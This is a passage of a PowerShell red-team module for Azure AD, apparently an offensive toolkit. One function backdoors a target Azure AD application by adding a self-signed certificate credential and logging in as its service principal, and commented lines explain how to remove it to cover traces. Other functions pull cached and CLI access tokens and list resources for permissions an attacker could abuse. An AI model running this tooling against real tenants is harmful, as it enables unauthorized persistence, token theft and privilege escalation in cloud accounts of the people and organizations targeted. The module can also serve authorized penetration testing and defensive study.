Connect-ARTADServicePrincipal -TargetApplicationName testapp1 861 | 862 | Example 2: Connect via PSCredential object: 863 | PS> $creds = Get-Credential 864 | PS> Connect-AzureAD -Credential $creds 865 | PS> Connect-ARTADServicePrincipal -TargetApplicationName testapp1 866 | #> 867 | 868 | [CmdletBinding()] 869 | Param( 870 | [Parameter(Mandatory=$True)] 871 | [String] 872 | $TargetApplicationName 873 | ) 874 | 875 | try { 876 | $EA = $ErrorActionPreference 877 | $ErrorActionPreference = 'silentlycontinue' 878 | 879 | $fname = -join ((65..90) + (97..122) | Get-Random -Count 15 | % {[char]$_}) 880 | $certPath = "$Env:Temp\$fname.key.pfx" 881 | $certStorePath = "cert:\currentuser\my" 882 | $appKeyIdentifier = "Test123" 883 | $certpwd = "VeryStrongCertificatePassword123" 884 | 885 | try { 886 | $certDnsName = (Get-AzureADDomain | ? { $_.IsDefault -eq $true } ).Name 887 | } 888 | catch { 889 | Write-Host "[!] Get-AzureADDomain failed. Probably not authenticated." 890 | Write-Host "[!] Use: Connect-AzureAD or Connect-ARTAD before attempting authentication as Service Principal!" 891 | 892 | Throw 893 | Return 894 | } 895 | 896 | $UserId = Get-ARTUserId 897 | 898 | $pwd = ConvertTo-SecureString -String $certpwd -Force -AsPlainText 899 | $cert = Get-ChildItem -Path $certStorePath | where { $_.subject -eq "CN=$certDnsName" } 900 | 901 | if($cert -eq $null -or $cert.Thumbprint -eq "") { 902 | Write-Verbose "Step 1. Create the self signed cert and load it to local store." 903 | 904 | $currentDate = Get-Date 905 | $endDate = $currentDate.AddYears(1) 906 | $notAfter = $endDate.AddYears(1) 907 | 908 | $thumb = (New-SelfSignedCertificate -CertStoreLocation $certStorePath -DnsName $certDnsName -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $notAfter).Thumbprint 909 | } 910 | else { 911 | Write-Verbose "Step 1. Get self signed cert and load it to local store." 912 | $cert 913 | $thumb = $cert.Thumbprint 914 | } 915 | 916 | Write-Verbose "`t1.1. Export PFX certificate to file: $certPath" 917 | Export-PfxCertificate -cert "$certStorePath\$thumb" -FilePath $certPath -Password $pwd | Out-Null 918 | 919 | Write-Verbose "Step 2. Load exported certificate" 920 | Write-Verbose "`t2.1. Certificate Thumbprint: $thumb" 921 | 922 | $cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate($certPath, $pwd) 923 | $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData()) 924 | 925 | Write-Verbose "Step 3. Get Service Principal and connect it to the Application." 926 | $sp = Get-AzureADServicePrincipal -Filter "DisplayName eq '$TargetApplicationName'" 927 | $app = Get-AzureADApplication | ? { $_.DisplayName -eq $TargetApplicationName -or $_.ObjectId -eq $TargetApplicationName } 928 | 929 | Write-Verbose "Step 4. Backdoor target Azure AD Application with newly created Certificate." 930 | $key = New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -CustomKeyIdentifier $appKeyIdentifier -StartDate $currentDate -EndDate $endDate -Type AsymmetricX509Cert -Usage Verify -Value $keyValue 931 | 932 | Write-Host "Perform cleanup with command:" 933 | Write-Host "`tPS> Remove-ARTServicePrincipalKey -ApplicationName $($app.ObjectId) -KeyId $($key.KeyId)" 934 | 935 | Write-Verbose "`nStep 5. Authenticate to Azure AD as a Service Principal." 936 | 937 | try { 938 | Write-Verbose "`tCooling down for 15 seconds to let Azure account for created certificate.`n" 939 | Start-Sleep -Seconds 15 940 | Connect-AzureAD -TenantId $sp.AppOwnerTenantId -ApplicationId $sp.AppId -CertificateThumbprint $thumb | Out-Null 941 | } 942 | catch { 943 | Write-Host "[!] Failed: Could not authenticate to Azure AD as Service Principal!" 944 | Return 945 | } 946 | 947 | #Write-Verbose "`n[.] To manually remove backdoor certificate from the Application and cover up traces use following command AS $((Get-AzureADCurrentSessionInfo).Account):`n" 948 | #Write-Verbose "`tRemove-AzureADApplicationKeyCredential -ObjectId $($app.ObjectId) -KeyId $($key.KeyId)`n" 949 | #Write-Verbose "`tGet-ChildItem -Path $certStorePath | where { `$_.subject -eq `"CN=$certDnsName`" } | Remove-Item" 950 | #Write-Verbose "`tRemove-Item -Path $certPath | Out-Null" 951 | 952 | Write-Host "`n`n[+] You are now authenticated as:`n" 953 | Get-AzureADDomain | Out-Null 954 | Start-Sleep -Seconds 3 955 | Get-AzureADCurrentSessionInfo 956 | } 957 | catch { 958 | Write-Host "[!] Function failed!" -ForegroundColor Red 959 | Throw 960 | Return 961 | } 962 | finally { 963 | $ErrorActionPreference = $EA 964 | } 965 | } 966 | 967 | Function Remove-ARTServicePrincipalKey { 968 | <# 969 | .SYNOPSIS 970 | Removes Service Principal Certificate that was used during authentication. 971 | 972 | .DESCRIPTION 973 | Performs cleanup actions after running Connect-ARTADServicePrincipal 974 | 975 | .PARAMETER ApplicationName 976 | Specifies Enterprise Application which we want to remove certificate from 977 | 978 | .PARAMETER KeyId 979 | Specifies Certificate Key ID to remove from target Application. 980 | 981 | .EXAMPLE 982 | PS> Remove-ARTServicePrincipalKey -ApplicationName testapp1 -KeyId e1be55d2-6369-4100-b063-37c5701182fd 983 | #> 984 | 985 | [CmdletBinding()] 986 | Param( 987 | [Parameter(Mandatory=$True)] 988 | [String] 989 | $ApplicationName, 990 | 991 | [Parameter(Mandatory=$True)] 992 | [String] 993 | $KeyId 994 | ) 995 | 996 | try { 997 | $EA = $ErrorActionPreference 998 | $ErrorActionPreference = 'silentlycontinue' 999 | 1000 | $certStorePath = "cert:\currentuser\my" 1001 | $certPath = "$Env:Temp\*.key.pfx" 1002 | 1003 | try { 1004 | $certDnsName = (Get-AzureADDomain | ? { $_.IsDefault -eq $true } ).Name 1005 | } 1006 | catch { 1007 | Write-Host "[!] Get-AzureADDomain failed. Probably not authenticated." 1008 | Write-Host "[!] Use: Connect-AzureAD or Connect-ARTAD before attempting authentication as Service Principal!" 1009 | 1010 | Throw 1011 | Return 1012 | } 1013 | 1014 | del $certPath | Out-Null 1015 | Get-ChildItem -Path $certStorePath | where { $_.subject -eq "CN=$certDnsName" } | Remove-Item 1016 | 1017 | $app = Get-AzureADApplication | ? { $_.DisplayName -eq $ApplicationName -or $_.ObjectId -eq $ApplicationName } 1018 | Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $KeyId 1019 | 1020 | Write-Host "[+] Cleanup finished." 1021 | } 1022 | catch { 1023 | Write-Host "[!] Function failed!" -ForegroundColor Red 1024 | Throw 1025 | Return 1026 | } 1027 | finally { 1028 | $ErrorActionPreference = $EA 1029 | } 1030 | } 1031 | 1032 | 1033 | Function Connect-ARTAD { 1034 | <# 1035 | .SYNOPSIS 1036 | Connects to the Azure AD and Microsoft.Graph 1037 | 1038 | .DESCRIPTION 1039 | Invokes Connect-AzureAD (and Connect.MgGraph if module is installed) to authenticate current session to the Azure AD via provided Access Token or credentials. 1040 | Skips the burden of providing Tenant ID and Account ID by automatically extracting those from provided Token. 1041 | 1042 | .PARAMETER AccessToken 1043 | Specifies JWT Access Token for the https://graph.microsoft.com or https://graph.windows.net resource. 1044 | 1045 | .PARAMETER TokenFromAzCli 1046 | Use az cli to acquire fresh access token. 1047 | 1048 | .PARAMETER Username 1049 | Specifies Azure AD username. 1050 | 1051 | .PARAMETER Password 1052 | Specifies Azure AD password. 1053 | 1054 | .PARAMETER Credential 1055 | PS Credential object containing principal credentials to connect with. 1056 | 1057 | .EXAMPLE 1058 | PS> Connect-ARTAD -AccessToken 'eyJ0eXA...' 1059 | PS> Connect-ARTAD -Credential $creds 1060 | PS> Connect-ARTAD -Username test@test.onmicrosoft.com -Password Foobar123% 1061 | #> 1062 | 1063 | [CmdletBinding(DefaultParameterSetName = 'Token')] 1064 | Param( 1065 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 1066 | [String] 1067 | $AccessToken = $null, 1068 | 1069 | [Parameter(Mandatory=$False, ParameterSetName = 'Token')] 1070 | [Switch] 1071 | $TokenFromAzCli, 1072 | 1073 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials')] 1074 | [String] 1075 | $Username = $null, 1076 | 1077 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials')] 1078 | [String] 1079 | $Password = $null, 1080 | 1081 | [Parameter(Mandatory=$True, ParameterSetName = 'Credentials2')] 1082 | [System.Management.Automation.PSCredential] 1083 | $Credential 1084 | ) 1085 | 1086 | try { 1087 | $EA = $ErrorActionPreference 1088 | $ErrorActionPreference = 'silentlycontinue' 1089 | 1090 | if (-not (Get-Module -ListAvailable -Name AzureAD)) { 1091 | Write-Verbose "AzureAD Powershell module not installed or not loaded. Installing it..." 1092 | 1093 | } 1094 | 1095 | if($PsCmdlet.ParameterSetName -eq "Token" -and ($AccessToken -eq $null -or $AccessToken -eq "")) { 1096 | Write-Verbose "Acquiring Azure access token from Connect-AzureAD..." 1097 | if($TokenFromAzCli) { 1098 | Write-Verbose "Acquiring Azure access token from az cli..." 1099 | $AccessToken = Get-ARTAccessTokenAzCli -Resource https://graph.microsoft.com 1100 | } 1101 | else { 1102 | Write-Verbose "Acquiring Azure access token from Connect-AzAccount..." 1103 | $AccessToken = Get-ARTAccessTokenAz -Resource https://graph.microsoft.com 1104 | } 1105 | } 1106 | 1107 | if($AccessToken -ne $null -and $AccessToken.Length -gt 0) { 1108 | Write-Verbose "Azure AD authentication via provided access token..." 1109 | $parsed = Parse-JWTtokenRT $AccessToken 1110 | $tenant = $parsed.tid 1111 | 1112 | if(-not $parsed.aud -like 'https://graph.*') { 1113 | Write-Warning "Provided JWT Access Token is not scoped to https://graph.microsoft.com or https://graph.windows.net! Instead its scope is: $($parsed.aud)" 1114 | } 1115 | 1116 | if ([bool]($parsed.PSobject.Properties.name -match "upn")) { 1117 | Write-Verbose "Token belongs to a User Principal." 1118 | $account = $parsed.upn 1119 | } 1120 | elseif ([bool]($parsed.PSobject.Properties.name -match "unique_name")) { 1121 | Write-Verbose "Token belongs to a User Principal." 1122 | $account = $parsed.unique_name 1123 | } 1124 | else { 1125 | Write-Verbose "Token belongs to a Service Principal." 1126 | $account = $parsed.appId 1127 | } 1128 | 1129 | Connect-AzureAD -AadAccessToken $AccessToken -TenantId $tenant -AccountId $account 1130 | 1131 | if(Get-Command Connect-MgGraph) { 1132 | Connect-MgGraph -AccessToken $AccessToken 1133 | } 1134 | 1135 | if ($PSCmdlet.MyInvocation.BoundParameters["Verbose"].IsPresent) { 1136 | Parse-JWTtokenRT $AccessToken 1137 | } 1138 | } 1139 | elseif (($PsCmdlet.ParameterSetName -eq "Credentials2") -and ($Credential -ne $null)) { 1140 | Write-Verbose "Azure AD authentication via provided PSCredential object..." 1141 | Connect-AzureAD -Credential $Credential 1142 | } 1143 | else { 1144 | $passwd = ConvertTo-SecureString $Password -AsPlainText -Force 1145 | $creds = New-Object System.Management.Automation.PSCredential ($Username, $passwd) 1146 | 1147 | Write-Verbose "Azure AD authentication via provided creds..." 1148 | Connect-AzureAD -Credential $creds 1149 | } 1150 | } 1151 | catch { 1152 | Write-Host "[!] Function failed!" -ForegroundColor Red 1153 | Throw 1154 | Return 1155 | } 1156 | finally { 1157 | $ErrorActionPreference = $EA 1158 | } 1159 | } 1160 | 1161 | 1162 | Function Get-ARTAccessTokenAzCli { 1163 | <# 1164 | .SYNOPSIS 1165 | Gets access token from az cli. 1166 | 1167 | .DESCRIPTION 1168 | Acquires access token from az cli, via az accound get-access-token 1169 | 1170 | .PARAMETER AccessToken 1171 | Optionally specifies Azure Application that acquired token should be scoped to. 1172 | 1173 | .EXAMPLE 1174 | PS> Get-ARTAccessTokenAzCli -Resource https://graph.microsoft.com 1175 | #> 1176 | 1177 | [CmdletBinding()] 1178 | Param( 1179 | [Parameter(Mandatory=$False)] 1180 | [String] 1181 | $Resource = $null 1182 | ) 1183 | 1184 | try { 1185 | $EA = $ErrorActionPreference 1186 | $ErrorActionPreference = 'silentlycontinue' 1187 | 1188 | $token = $null 1189 | 1190 | if($Resource -ne $null -and $Resource.Length -gt 0) { 1191 | if ($Resource -eq "https://graph.microsoft.com") { 1192 | Write-Verbose "Trying to acquire Azure AD access token from a local cache..." 1193 | try { 1194 | $token = [Microsoft.Open.Azure.AD.CommonLibrary.AzureSession]::AccessTokens['AccessToken'].AccessToken 1195 | Write-Verbose "Got it." 1196 | return $token 1197 | } 1198 | catch { 1199 | Write-Verbose "Nope. That didn't work." 1200 | } 1201 | } 1202 | 1203 | $token = ((az account get-access-token --resource $Resource) | ConvertFrom-Json).accessToken 1204 | } 1205 | else { 1206 | $token = ((az account get-access-token) | ConvertFrom-Json).accessToken 1207 | } 1208 | 1209 | if ($token -eq $null -or $token.Length -eq 0) { 1210 | throw "[!] Could not obtain token!" 1211 | } 1212 | 1213 | $parsed = Parse-JWTtokenRT $token 1214 | Write-Verbose "Token for Resource: $($parsed.aud)" 1215 | 1216 | Return $token 1217 | } 1218 | catch { 1219 | Write-Host "[!] Function failed!" -ForegroundColor Red 1220 | Throw 1221 | Return 1222 | } 1223 | finally { 1224 | $ErrorActionPreference = $EA 1225 | } 1226 | } 1227 | 1228 | Function Get-ARTAccessTokenAz { 1229 | <# 1230 | .SYNOPSIS 1231 | Gets access token from Az module. 1232 | 1233 | .DESCRIPTION 1234 | Acquires access token from Az module, via Get-AzAccessToken . 1235 | 1236 | .PARAMETER AccessToken 1237 | Optionally specifies Azure Application that acquired token should be scoped to. 1238 | 1239 | .EXAMPLE 1240 | PS> Get-ARTAccessTokenAz -Resource https://graph.microsoft.com 1241 | #> 1242 | 1243 | [CmdletBinding()] 1244 | Param( 1245 | [Parameter(Mandatory=$False)] 1246 | [String] 1247 | $Resource = $null 1248 | ) 1249 | 1250 | try { 1251 | $EA = $ErrorActionPreference 1252 | $ErrorActionPreference = 'silentlycontinue' 1253 | 1254 | $token = $null 1255 | 1256 | if ($Resource -eq "https://management.azure.com" -or $Resource -eq "https://management.core.windows.net") { 1257 | $token = (Get-AzAccessToken).Token 1258 | } 1259 | elseif($Resource -ne $null -and $Resource.Length -gt 0 ) { 1260 | # Taken from AzureHound's Get-AzureGraphToken 1261 | $APSUser = Get-AzContext *>&1 1262 | $token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($APSUser.Account, $APSUser.Environment, $APSUser.Tenant.Id.ToString(), $null, [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, $null, $Resource).AccessToken 1263 | 1264 | if ($token -eq $null -or $token.Length -eq 0) { 1265 | $token = (Get-AzAccessToken -Resource $Resource).Token 1266 | } 1267 | } 1268 | else { 1269 | $token = (Get-AzAccessToken).Token 1270 | } 1271 | 1272 | if ($token -eq $null -or $token.Length -eq 0) { 1273 | throw "[!] Could not obtain token!" 1274 | } 1275 | 1276 | $parsed = Parse-JWTtokenRT $token 1277 | Write-Verbose "Token for Resource: $($parsed.aud)" 1278 | 1279 | Return $token 1280 | } 1281 | catch { 1282 | Write-Host "[!] Function failed!" -ForegroundColor Red 1283 | Throw 1284 | Return 1285 | } 1286 | finally { 1287 | $ErrorActionPreference = $EA 1288 | } 1289 | } 1290 | 1291 | 1292 | Function Get-ARTAccessTokenAzureADCached { 1293 | <# 1294 | .SYNOPSIS 1295 | Attempts to retrieve locally cached AzureAD access token, stored after Connect-AzureAD occurred. 1296 | 1297 | .DESCRIPTION 1298 | Attempts to retrieve locally cached AzureAD access token (https://graph.microsoft.com), stored after Connect-AzureAD occurred. 1299 | 1300 | .EXAMPLE 1301 | PS> Get-ARTAccessTokenAzureADCached 1302 | #> 1303 | 1304 | [CmdletBinding()] 1305 | Param( 1306 | ) 1307 | 1308 | try { 1309 | $EA = $ErrorActionPreference 1310 | $ErrorActionPreference = 'silentlycontinue' 1311 | 1312 | $token = $null 1313 | 1314 | Write-Verbose "Trying to acquire Azure AD access token from a local cache..." 1315 | 1316 | try { 1317 | $token = [Microsoft.Open.Azure.AD.CommonLibrary.AzureSession]::AccessTokens['AccessToken'].AccessToken 1318 | Write-Verbose "Got it." 1319 | return $token 1320 | } 1321 | catch { 1322 | Write-Verbose "Nope. That didn't work." 1323 | Return "" 1324 | } 1325 | 1326 | $parsed = Parse-JWTtokenRT $token 1327 | Write-Verbose "Token for Resource: $($parsed.aud)" 1328 | 1329 | Return $token 1330 | } 1331 | catch { 1332 | Write-Host "[!] Function failed!" -ForegroundColor Red 1333 | Throw 1334 | Return 1335 | } 1336 | finally { 1337 | $ErrorActionPreference = $EA 1338 | } 1339 | } 1340 | 1341 | # 1342 | # SOURCE: 1343 | # https://blog.simonw.se/getting-an-access-token-for-azuread-using-powershell-and-device-login-flow/ 1344 | # 1345 | # AUTHOR: 1346 | # Simon Wahlin, @SimonWahlin 1347 | # 1348 | function Get-ARTAccessTokenAzureAD { 1349 | <# 1350 | .SYNOPSIS 1351 | Gets an access token from Azure Active Directory via Device sign-in. 1352 | 1353 | .DESCRIPTION 1354 | Gets an access token from Azure Active Directory that can be used to authenticate to for example Microsoft Graph or Azure Resource Manager. 1355 | 1356 | Run without parameters to get an access token to Microsoft Graph and the users original tenant. 1357 | 1358 | Use the parameter -Interactive and the script will open the sign in experience in the default browser without user having to copy any code. 1359 | 1360 | .PARAMETER ClientID 1361 | Application client ID, defaults to well-known ID for Microsoft Azure PowerShell 1362 | 1363 | .PARAMETER Interactive 1364 | Tries to open sign-in experience in default browser. If this succeeds the user don't need to copy and paste any device code. 1365 | 1366 | .PARAMETER TenantID 1367 | ID of tenant to sign in to, defaults to the tenant where the user was created 1368 | 1369 | .PARAMETER Resource 1370 | Identifier for target resource, this is where the token will be valid. Defaults to "https://graph.microsoft.com/" 1371 | Use "https://management.azure.com" to get a token that works with Azure Resource Manager (ARM) 1372 | 1373 | .EXAMPLE 1374 | $Token = Get-ARTAccessTokenAzureAD -Interactive 1375 | $Headers = @{'Authorization' = "Bearer $Token" } 1376 | $UsersUri = 'https://graph.microsoft.com/v1.0/users?$top=5' 1377 | $Users = Invoke-RestMethod -Method GET -Uri $UsersUri -Headers $Headers 1378 | $Users.value.userprincipalname 1379 | 1380 | Using Microsoft Graph to print the userprincipalname of 5 users in the tenant. 1381 | 1382 | .EXAMPLE 1383 | $Token = Get-ARTAccessTokenAzureAD -Interactive -Resource 'https://management.azure.com' 1384 | $Headers = @{'Authorization' = "Bearer $Token" } 1385 | $SubscriptionsURI = 'https://management.azure.com/subscriptions?api-version=2019-11-01' 1386 | $Subscriptions = Invoke-RestMethod -Method GET -Uri $SubscriptionsURI -Headers $Headers 1387 | $Subscriptions.value.displayName 1388 | 1389 | Using Azure Resource Manager (ARM) to print the display name for all the subscriptions the user has access to. 1390 | 1391 | .NOTES 1392 | 1393 | #> 1394 | 1395 | [cmdletbinding()] 1396 | param( 1397 | [Parameter()] 1398 | $ClientID = '1950a258-227b-4e31-a9cf-717495945fc2', 1399 | 1400 | [Parameter()] 1401 | [switch]$Interactive, 1402 | 1403 | [Parameter()] 1404 | $TenantID = 'common', 1405 | 1406 | [Parameter()] 1407 | $Resource = "https://graph.microsoft.com/", 1408 | 1409 | # Timeout in seconds to wait for user to complete sign in process 1410 | [Parameter(DontShow)] 1411 | $Timeout = 300 1412 | ) 1413 | try { 1414 | $EA = $ErrorActionPreference 1415 | $ErrorActionPreference = 'silentlycontinue' 1416 | 1417 | $DeviceCodeRequestParams = @{ 1418 | Method = 'POST' 1419 | Uri = "https://login.microsoftonline.com/$TenantID/oauth2/devicecode" 1420 | Body = @{ 1421 | resource = $Resource 1422 | client_id = $ClientId 1423 | } 1424 | } 1425 | $DeviceCodeRequest = Invoke-RestMethod @DeviceCodeRequestParams 1426 | 1427 | if ($Interactive.IsPresent) { 1428 | Write-Host 'Trying to open a browser with login prompt. Please sign in.' -ForegroundColor Yellow 1429 | Start-Sleep -Second 1 1430 | $PostParameters = @{otc = $DeviceCodeRequest.user_code } 1431 | $InputFields = foreach ($entry in $PostParameters.GetEnumerator()) { 1432 | "" 1433 | } 1434 | $PostUrl = "https://login.microsoftonline.com/common/oauth2/deviceauth" 1435 | $LocalHTML = @" 1436 | 1437 | 1438 | 1439 | 1440 | 1441 | 1444 | 1445 | 1446 |
1447 | $InputFields 1448 |
1449 | 1450 | 1451 | "@ 1452 | $TempPage = New-TemporaryFile 1453 | $TempPage = Rename-Item -Path $TempPage.FullName ($TempPage.FullName -replace '$', '.html') -PassThru 1454 | Out-File -FilePath $TempPage.FullName -InputObject $LocalHTML 1455 | Start-Process $TempPage.FullName 1456 | } 1457 | else { 1458 | Write-Host $DeviceCodeRequest.message -ForegroundColor Yellow 1459 | } 1460 | 1461 | $TokenRequestParams = @{ 1462 | Method = 'POST' 1463 | Uri = "https://login.microsoftonline.com/$TenantId/oauth2/token" 1464 | Body = @{ 1465 | grant_type = "urn:ietf:params:oauth:grant-type:device_code" 1466 | code = $DeviceCodeRequest.device_code 1467 | client_id = $ClientId 1468 | } 1469 | } 1470 | $TimeoutTimer = [System.Diagnostics.Stopwatch]::StartNew() 1471 | while ([string]::IsNullOrEmpty($TokenRequest.access_token)) { 1472 | if ($TimeoutTimer.Elapsed.TotalSeconds -gt $Timeout) { 1473 | throw 'Login timed out, please try again.' 1474 | } 1475 | $TokenRequest = try { 1476 | Invoke-RestMethod @TokenRequestParams -ErrorAction Stop 1477 | } 1478 | catch { 1479 | $Message = $_.ErrorDetails.Message | ConvertFrom-Json 1480 | if ($Message.error -ne "authorization_pending") { 1481 | throw 1482 | } 1483 | } 1484 | Start-Sleep -Seconds 1 1485 | } 1486 | Write-Output $TokenRequest.access_token 1487 | } 1488 | finally { 1489 | try { 1490 | Remove-Item -Path $TempPage.FullName -Force -ErrorAction Stop 1491 | $TimeoutTimer.Stop() 1492 | } 1493 | catch { 1494 | # We don't care about errors here 1495 | } 1496 | } 1497 | } 1498 | 1499 | Function Get-ARTDangerousPermissions { 1500 | <# 1501 | .SYNOPSIS 1502 | Displays Permissions on Azure Resources that could facilitate further Attacks. 1503 | 1504 | .DESCRIPTION 1505 | Analyzes accessible Azure Resources and associated permissions user has on them to find all the Dangerous ones that could be abused by an attacker. 1506 | 1507 | .PARAMETER AccessToken 1508 | Optional, specifies JWT Access Token for the https://management.azure.com resource. 1509 | 1510 | .PARAMETER SubscriptionId 1511 | Optional parameter specifying which Subscription should be requested. 1512 | 1513 | .PARAMETER Text 1514 | If specified, output will be printed as pre-formatted text. By default a Powershell array is returned. 1515 | 1516 | .EXAMPLE 1517 | PS> Get-ARTDangerousPermissions -AccessToken 'eyJ0eXA...' 1518 | #> 1519 | 1520 | [CmdletBinding()] 1521 | Param( 1522 | [Parameter(Mandatory=$False)][String] 1523 | $AccessToken = $null, 1524 | 1525 | [Parameter(Mandatory=$False)][String] 1526 | $SubscriptionId = $null, 1527 | 1528 | [Switch] 1529 | $Text 1530 | ) 1531 | 1532 | try { 1533 | $EA = $ErrorActionPreference 1534 | $ErrorActionPreference = 'silentlycontinue' 1535 | 1536 | $resource = "https://management.azure.com" 1537 | 1538 | if ($AccessToken -eq $null -or $AccessToken -eq ""){ 1539 | Write-Verbose "Access Token not provided. Requesting one from Get-AzAccessToken ..." 1540 | $AccessToken = Get-ARTAccessTokenAz -Resource $resource 1541 | } 1542 | 1543 | if ($AccessToken -eq $null -or $AccessToken -eq ""){ 1544 | Write-Error "Could not obtain required Access Token!" 1545 | Return 1546 | } 1547 | 1548 | $headers = @{ 1549 | 'Authorization' = "Bearer $AccessToken" 1550 | } 1551 | 1552 | $parsed = Parse-JWTtokenRT $AccessToken 1553 | 1554 | if(-not $parsed.aud -like 'https://management.*') { 1555 | Write-Warning "Provided JWT Access Token is not scoped to https://management.azure.com or https://management.core.windows.net! Instead its scope is: $($parsed.aud)" 1556 | } 1557 | 1558 | #$resource = $parsed.aud 1559 | 1560 | Write-Verbose "Will use resource: $resource" 1561 | 1562 | if($SubscriptionId -eq $null -or $SubscriptionId -eq "") { 1563 | $SubscriptionId = Get-ARTSubscriptionId -AccessToken $AccessToken 1564 | } 1565 | 1566 | if($SubscriptionId -eq $null -or $SubscriptionId -eq "") { 1567 | Write-Error "Could not acquire Subscription ID!" 1568 | Return 1569 | } 1570 | 1571 | Write-Verbose "Enumerating resources on subscription: $SubscriptionId" 1572 | 1573 | $resources = (Invoke-RestMethod -Uri "$resource/subscriptions/$SubscriptionId/resources?api-version=2021-04-01" -Headers $headers).value 1574 | 1575 | if($resources.Length -eq 0 ) { 1576 | if($Text) { 1577 | Write-Host "No available resourources found or lacking required permissions." 1578 | } 1579 | else { 1580 | Write-Verbose "No available resourources found or lacking required permissions." 1581 | } 1582 | 1583 | Return 1584 | } 1585 | 1586 | $DangerousPermissions = New-Object System.Collections.ArrayList 1587 | $dangerousscopes = New-Object System.Collections.ArrayList 1588 | 1589 | $resources | % { 1590 | try { 1591 | $permissions = ((Invoke-RestMethod -Uri "https://management.azure.com$($_.id)/providers/Microsoft.Authorization/permissions?api-version=2018-07-01" -Headers $headers).value).actions 1592 | } 1593 | catch { 1594 | $permissions = @() 1595 | } 1596 | 1597 | $once = $false 1598 | 1599 | foreach ($dangperm in $KnownDangerousPermissions.GetEnumerator()) { 1600 | foreach ($perm in $permissions) { 1601 | 1602 | if(-not $once) { 1603 | Write-Verbose "Checking permission $perm on $($_.Name) ..." 1604 | $once = $true 1605 | } 1606 | 1607 | if ($perm -like "*$($dangperm.Name)*") { 1608 | 1609 | $obj = [PSCustomObject]@{ 1610 | DangerousPermission = $dangperm.Name 1611 | ResourceName = $_.name 1612 | ResourceGroupName = $_.id.Split('/')[4] 1613 | ResourceType = $_.type 1614 | PermissionsGranted = $perm 1615 | Description = $dangperm.Value 1616 | Scope = $_.id 1617 | } 1618 | 1619 | if($_.id -notin $dangerousscopes) { 1620 | $null = $DangerousPermissions.Add($obj) 1621 | } 1622 | } 1623 | } 1624 | } 1625 | } 1626 | 1627 | if ($Text) { 1628 | $num = 1 1629 | 1630 | if($DangerousPermissions -ne $null) { 1631 | Write-Host "=== Dangerous Permissions Identified on Azure Resources ===`n" -ForegroundColor Magenta 1632 | 1633 | $DangerousPermissions | % { 1634 | Write-Host "`n`t$($num)." 1635 | Write-Host "`tDangerous Permission :`t$($_.DangerousPermission)" -ForegroundColor Red 1636 | Write-Host "`tResource Name :`t$($_.ResourceName)" -ForegroundColor Green 1637 | Write-Host "`tResource Group Name :`t$($_.ResourceGroupName)" 1638 | Write-Host "`tResource Type :`t$($_.ResourceType)" 1639 | Write-Host "`tScope :`t$($_.Scope)" 1640 | Write-Host "`tDescription : $($_.Description)" 1641 | 1642 | $num += 1 1643 | } 1644 | } 1645 | } 1646 | else { 1647 | $DangerousPermissions 1648 | } 1649 | } 1650 | catch { 1651 | Write-Host "[!] Function failed!" -ForegroundColor Red 1652 | Throw 1653 | Return 1654 | } 1655 | finally { 1656 | $ErrorActionPreference = $EA 1657 | } 1658 | } 1659 | 1660 | Function Get-ARTResource { 1661 | <# 1662 | .SYNOPSIS 1663 | Displays accessible Azure Resources along with corresponding permissions user has on them. 1664 | 1665 | .DESCRIPTION 1666 | Authenticates to the https://management.azure.com using provided Access Token and pulls accessible resources and permissions that token Owner have against them. 1667 | 1668 | .PARAMETER AccessToken 1669 | Optional, specifies JWT Access Token for the https://management.azure.com resource. 1670 | 1671 | .PARAMETER SubscriptionId 1672 | Optional parameter specifying which Subscription should be requested. 1673 | 1674 | .PARAMETER Text 1675 | If specified, output will be printed as pre-formatted text. By default a Powershell array is returned. 1676 | 1677 | .EXAMPLE 1678 | PS> Get-ARTResource -AccessToken 'eyJ0eXA...' 1679 | #> 1680 | 1681 | [CmdletBinding()] 1682 | Param( 1683 | [Parameter(Mandatory=$False)][String] 1684 | $AccessToken = $null, 1685 | 1686 | [Parameter(Mandatory=$False)][String] 1687 | $SubscriptionId = $null, 1688 | 1689 | [Switch] 1690 | $Text 1691 | ) 1692 | 1693 | try { 1694 | $EA = $ErrorActionPreference 1695 | $ErrorActionPreference = 'silentlycontinue' 1696 | 1697 | $resource = "https://management.azure.com" 1698 | 1699 | if ($AccessToken -eq $null -or $AccessToken -eq ""){ 1700 | Write-Verbose "Access Token not provided. Requesting one from Get-AzAccessToken ..." 1701 | $AccessToken = Get-ARTAccessTokenAz -Resource $resource 1702 | } 1703 | 1704 | if ($AccessToken -eq $null -or $AccessToken -eq ""){ 1705 | Write-Error "Could not obtain required Access Token!" 1706 | Return 1707 | } 1708 | 1709 | $headers = @{ 1710 | 'Authorization' = "Bearer $AccessToken" 1711 | } 1712 | 1713 | $parsed = Parse-JWTtokenRT $AccessToken 1714 | 1715 | if(-not $parsed.aud -like 'https://management.*') { 1716 | Write-Warning "Provided JWT Access Token is not scoped to https://management.azure.com or https://management.core.windows.net! Instead its scope is: $($parsed.aud)" 1717 | } 1718 | 1719 | #$resource = $parsed.aud 1720 | 1721 | Write-Verbose "Will use resource: $resource" 1722 | 1723 | if($SubscriptionId -eq $null -or $SubscriptionId -eq "") { 1724 | $SubscriptionId = Get-ARTSubscriptionId -AccessToken $AccessToken 1725 | } 1726 | 1727 | if($SubscriptionId -eq $null -or $SubscriptionId -eq "") { 1728 | Write-Error "Could not acquire Subscription ID!" 1729 | Return 1730 | } 1731 | 1732 | Write-Verbose "Enumerating resources on subscription: $SubscriptionId" 1733 | 1734 | $resources = (Invoke-RestMethod -Uri "$resource/subscriptions/$SubscriptionId/resources?api-version=2021-04-01" -Headers $headers).value 1735 | 1736 | if($resources.Length -eq 0 ) { 1737 | if($Text) { 1738 | Write-Host "No available resourources found or lacking required permissions." 1739 | } 1740 | else { 1741 | Write-Verbose "No available resourources found or lacking required permissions." 1742 | } 1743 | 1744 | Return 1745 | } 1746 | 1747 | $Coll = New-Object System.Collections.ArrayList 1748 | 1749 | $resources | % { 1750 | try { 1751 | $permissions = 